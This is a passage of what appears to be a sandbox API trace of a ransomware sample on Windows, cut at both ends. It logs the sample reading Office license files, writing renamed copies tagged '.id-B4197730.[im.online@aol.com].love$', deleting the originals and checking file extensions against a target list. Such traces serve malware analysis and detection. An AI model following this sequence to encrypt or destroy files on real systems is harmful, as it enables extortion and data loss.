dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.851] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.852] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.853] GetLastError () returned 0x0 [0273.853] ReadFile (in: hFile=0x42c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x57c1, lpOverlapped=0x0) returned 1 [0273.856] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x57d0, lpOverlapped=0x0) returned 1 [0273.858] ReadFile (in: hFile=0x42c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0273.859] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x114, lpOverlapped=0x0) returned 1 [0273.859] SetEndOfFile (hFile=0x574) returned 1 [0273.859] CloseHandle (hObject=0x574) returned 1 [0273.859] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.859] SetEndOfFile (hFile=0x42c) returned 1 [0273.864] CloseHandle (hObject=0x42c) returned 1 [0273.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 1 [0273.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.867] lstrlenW (lpString=".doc") returned 4 [0273.867] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.867] lstrlenW (lpString=".docx") returned 5 [0273.867] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.867] lstrlenW (lpString=".pdf") returned 4 [0273.867] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.867] lstrlenW (lpString=".xls") returned 4 [0273.867] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.867] lstrlenW (lpString=".xlsx") returned 5 [0273.867] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.867] lstrlenW (lpString=".ppt") returned 4 [0273.867] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.867] lstrlenW (lpString=".zip") returned 4 [0273.867] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.867] lstrlenW (lpString=".rar") returned 4 [0273.867] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.868] lstrlenW (lpString=".bz2") returned 4 [0273.868] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.868] lstrlenW (lpString=".7z") returned 3 [0273.868] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.868] lstrlenW (lpString=".dbf") returned 4 [0273.868] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.868] lstrlenW (lpString=".1cd") returned 4 [0273.868] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.868] lstrlenW (lpString=".jpg") returned 4 [0273.868] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.868] lstrlenW (lpString=".doc") returned 4 [0273.868] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0273.868] lstrlenW (lpString=".docx") returned 5 [0273.869] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0273.869] lstrlenW (lpString=".pdf") returned 4 [0273.869] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0273.869] lstrlenW (lpString=".xls") returned 4 [0273.869] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0273.869] lstrlenW (lpString=".xlsx") returned 5 [0273.869] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0273.869] lstrlenW (lpString=".ppt") returned 4 [0273.869] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0273.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.869] lstrlenW (lpString=".zip") returned 4 [0273.869] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0273.869] lstrlenW (lpString=".rar") returned 4 [0273.869] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0273.869] lstrlenW (lpString=".bz2") returned 4 [0273.869] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0273.869] lstrlenW (lpString=".7z") returned 3 [0273.869] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0273.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.870] lstrlenW (lpString=".dbf") returned 4 [0273.870] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0273.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.870] lstrlenW (lpString=".1cd") returned 4 [0273.870] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0273.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0273.870] lstrlenW (lpString=".jpg") returned 4 [0273.870] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0273.870] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0273.870] lstrlenW (lpString="O365BusinessR_SubTest-ul-oob.xrm-ms") returned 35 [0273.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.872] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11626) returned 1 [0273.872] CloseHandle (hObject=0x42c) returned 1 [0273.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 0x220 [0273.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.873] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.873] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0273.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.875] GetLastError () returned 0x0 [0273.875] ReadFile (in: hFile=0x42c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d6a, lpOverlapped=0x0) returned 1 [0274.240] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d70, lpOverlapped=0x0) returned 1 [0274.242] ReadFile (in: hFile=0x42c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0274.242] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11a, lpOverlapped=0x0) returned 1 [0274.242] SetEndOfFile (hFile=0x574) returned 1 [0274.242] CloseHandle (hObject=0x574) returned 1 [0274.243] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.243] SetEndOfFile (hFile=0x42c) returned 1 [0274.246] CloseHandle (hObject=0x42c) returned 1 [0274.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 1 [0274.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.249] lstrlenW (lpString=".doc") returned 4 [0274.249] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.249] lstrlenW (lpString=".docx") returned 5 [0274.249] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.249] lstrlenW (lpString=".pdf") returned 4 [0274.249] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.249] lstrlenW (lpString=".xls") returned 4 [0274.249] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.249] lstrlenW (lpString=".xlsx") returned 5 [0274.249] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.249] lstrlenW (lpString=".ppt") returned 4 [0274.249] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.249] lstrlenW (lpString=".zip") returned 4 [0274.249] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.249] lstrlenW (lpString=".rar") returned 4 [0274.250] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.250] lstrlenW (lpString=".bz2") returned 4 [0274.250] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.250] lstrlenW (lpString=".7z") returned 3 [0274.250] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.250] lstrlenW (lpString=".dbf") returned 4 [0274.250] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.250] lstrlenW (lpString=".1cd") returned 4 [0274.250] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.250] lstrlenW (lpString=".jpg") returned 4 [0274.250] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.250] lstrlenW (lpString=".doc") returned 4 [0274.250] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.250] lstrlenW (lpString=".docx") returned 5 [0274.250] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.250] lstrlenW (lpString=".pdf") returned 4 [0274.250] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.250] lstrlenW (lpString=".xls") returned 4 [0274.250] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.250] lstrlenW (lpString=".xlsx") returned 5 [0274.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.251] lstrlenW (lpString=".ppt") returned 4 [0274.251] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.251] lstrlenW (lpString=".zip") returned 4 [0274.251] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.251] lstrlenW (lpString=".rar") returned 4 [0274.251] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.251] lstrlenW (lpString=".bz2") returned 4 [0274.251] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.251] lstrlenW (lpString=".7z") returned 3 [0274.251] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.251] lstrlenW (lpString=".dbf") returned 4 [0274.251] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.251] lstrlenW (lpString=".1cd") returned 4 [0274.251] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0274.251] lstrlenW (lpString=".jpg") returned 4 [0274.251] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.251] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.252] lstrlenW (lpString="O365HomePremR_Grace-ppd.xrm-ms") returned 30 [0274.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0274.253] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=23068) returned 1 [0274.253] CloseHandle (hObject=0x42c) returned 1 [0274.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 0x220 [0274.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0274.254] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.254] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0274.255] GetLastError () returned 0x0 [0274.255] ReadFile (in: hFile=0x42c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x5a1c, lpOverlapped=0x0) returned 1 [0274.259] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x5a20, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x5a20, lpOverlapped=0x0) returned 1 [0274.260] ReadFile (in: hFile=0x42c, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0274.261] WriteFile (in: hFile=0x574, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x110, lpOverlapped=0x0) returned 1 [0274.261] SetEndOfFile (hFile=0x574) returned 1 [0274.261] CloseHandle (hObject=0x574) returned 1 [0274.261] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0274.261] SetEndOfFile (hFile=0x42c) returned 1 [0274.266] CloseHandle (hObject=0x42c) returned 1 [0274.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ppd.xrm-ms")) returned 1 [0274.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.268] lstrlenW (lpString=".doc") returned 4 [0274.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.268] lstrlenW (lpString=".docx") returned 5 [0274.268] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.268] lstrlenW (lpString=".pdf") returned 4 [0274.268] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.268] lstrlenW (lpString=".xls") returned 4 [0274.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.268] lstrlenW (lpString=".xlsx") returned 5 [0274.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.268] lstrlenW (lpString=".ppt") returned 4 [0274.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.268] lstrlenW (lpString=".zip") returned 4 [0274.268] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.268] lstrlenW (lpString=".rar") returned 4 [0274.268] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.268] lstrlenW (lpString=".bz2") returned 4 [0274.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.269] lstrlenW (lpString=".7z") returned 3 [0274.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.269] lstrlenW (lpString=".dbf") returned 4 [0274.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.269] lstrlenW (lpString=".1cd") returned 4 [0274.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.269] lstrlenW (lpString=".jpg") returned 4 [0274.269] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.269] lstrlenW (lpString=".doc") returned 4 [0274.269] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.269] lstrlenW (lpString=".docx") returned 5 [0274.269] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.269] lstrlenW (lpString=".pdf") returned 4 [0274.269] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.269] lstrlenW (lpString=".xls") returned 4 [0274.269] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.269] lstrlenW (lpString=".xlsx") returned 5 [0274.269] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.269] lstrlenW (lpString=".ppt") returned 4 [0274.269] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.270] lstrlenW (lpString=".zip") returned 4 [0274.270] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.270] lstrlenW (lpString=".rar") returned 4 [0274.270] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.270] lstrlenW (lpString=".bz2") returned 4 [0274.270] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.270] lstrlenW (lpString=".7z") returned 3 [0274.270] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.270] lstrlenW (lpString=".dbf") returned 4 [0274.270] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.270] lstrlenW (lpString=".1cd") returned 4 [0274.270] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ppd.xrm-ms") returned 80 [0274.270] lstrlenW (lpString=".jpg") returned 4 [0274.270] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.270] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.270] lstrlenW (lpString="O365HomePremR_Grace-ul-oob.xrm-ms") returned 33 [0274.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0274.272] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11624) returned 1 [0274.272] CloseHandle (hObject=0x42c) returned 1 [0274.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_grace-ul-oob.xrm-ms")) returned 0x220 [0274.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft 